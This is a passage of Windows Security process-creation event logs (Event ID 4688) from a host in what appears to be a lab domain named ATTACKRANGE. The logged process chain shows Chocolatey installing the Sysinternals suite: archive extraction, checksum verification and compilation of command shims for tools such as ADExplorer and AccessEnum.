Process Information:
	New Process ID:		0x830
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xffc
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" install sysinternals --fail-on-unfound --yes --no-progress --limit-output --timeout 2700

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246294
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xffc
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc68
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\chocolatey\bin\choco.exe install sysinternals --fail-on-unfound --yes --no-progress --limit-output --timeout 2700

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246298
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x994
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfdc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\7z.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246297
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfdc
	New Process Name:	C:\ProgramData\chocolatey\tools\7z.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\7z.exe" x -aoa -bd -bb1 -o"C:\ProgramData\chocolatey\lib\sysinternals\tools" -y "C:\Users\Administrator\AppData\Local\Temp\chocolatey\sysinternals\2021.2.22\SysinternalsSuite.zip"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246296
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf18
	New Process Name:	C:\ProgramData\chocolatey\tools\checksum.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\helpers\..\tools\checksum.exe" -c="2000391d565c62a89350fc1412a32443c72bdfc99631388a0a0c5adaa3a84bc7" -t="sha256" -f="C:\Users\Administrator\AppData\Local\Temp\chocolatey\sysinternals\2021.2.22\SysinternalsSuite.zip"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246300
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x42c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc48
	Creator Process Name:	C:\Windows\System32\shutdown.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246299
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\System32\shutdown.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\Windows\System32\shutdown.exe" /a

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246317
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd08
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x290
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246316
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x290
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ADExplorer.exe" --output="C:\ProgramData\chocolatey\bin\ADExplorer.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ADExplorer.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246315
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf9c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc4c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAC48.tmp" "c:\ProgramData\chocolatey\bin\CSC7B817B8726294050A4BD259ABE78228B.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246314
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa44
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc4c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246313
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe70
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\AccessEnum.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123401_7712\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123401_7712\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_7712\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_7712\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_7712\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246312
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcac
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe70
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246311
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe70
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\AccessEnum.exe" --output="C:\ProgramData\chocolatey\bin\AccessEnum.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\AccessEnum.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246310
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb10
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2d4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAB6D.tmp" "c:\ProgramData\chocolatey\bin\CSC710406DBB844462DBD4FEAF7818D2A53.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246309
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x440
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2d4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246308
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x360
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\accesschk64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123401_5524\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123401_5524\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_5524\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_5524\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_5524\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246307
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x288
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x360
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246306
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x360
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
